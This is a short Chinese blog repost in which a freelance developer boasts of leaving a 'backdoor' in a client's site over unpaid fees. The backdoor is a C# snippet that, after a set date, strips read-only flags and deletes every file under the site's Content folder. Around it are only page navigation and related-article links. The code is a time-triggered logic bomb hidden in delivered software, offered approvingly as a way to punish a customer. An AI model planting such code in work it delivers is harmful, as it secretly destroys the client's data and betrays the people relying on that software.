博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
接了个私单,结果对方有部分尾款迟迟不付,还好有留了个后门
阅读量:4600 次
发布时间:2019-06-09

本文共 518 字,大约阅读时间需要 1 分钟。

if 北京时间>'2013-5-28'

foreach (string d in Directory.GetFileSystemEntries(Server.MapPath("~/Content")))            {                if (System.IO.File.Exists(d))                {                    FileInfo fi = new FileInfo(d);                    if (fi.Attributes.ToString().IndexOf("ReadOnly") != -1)                        fi.Attributes = FileAttributes.Normal;                    System.IO.File.Delete(d);//直接删除其中的文件                  }            }

 

转载于:https://www.cnblogs.com/wugang/archive/2013/05/29/3106224.html

你可能感兴趣的文章
will-change属性
查看>>
android学习笔记54——ContentProvider
查看>>
Unity3d android开发之触摸操作识别-双击,滑动去噪处理
查看>>
Custom view * is not using the 2- or 3-argument View constructors; XML attributes will not work
查看>>
模型选择准则
查看>>
安卓动态增加按钮
查看>>
iOS7程序后台运行
查看>>
maven+testng+reportng的pom设置
查看>>
IT telephone interview
查看>>
gitlab安装配置
查看>>
ps载入画笔
查看>>
悲怆:IT人的一声叹息->一个程序员的自白[转帖]
查看>>
[SpringMVC]自定义注解实现控制器访问次数限制
查看>>
日记(序)
查看>>
A == B ?
查看>>
洛谷P3763 [Tjoi2017]DNA 【后缀数组】
查看>>
GSM模块_STM32实现GPRS与服务器数据传输经验总结
查看>>
5.Python进阶_循环设计
查看>>
Android采访开发——2.通用Android基础笔试题
查看>>
UVa 442 Matrix Chain Multiplication(矩阵链,模拟栈)
查看>>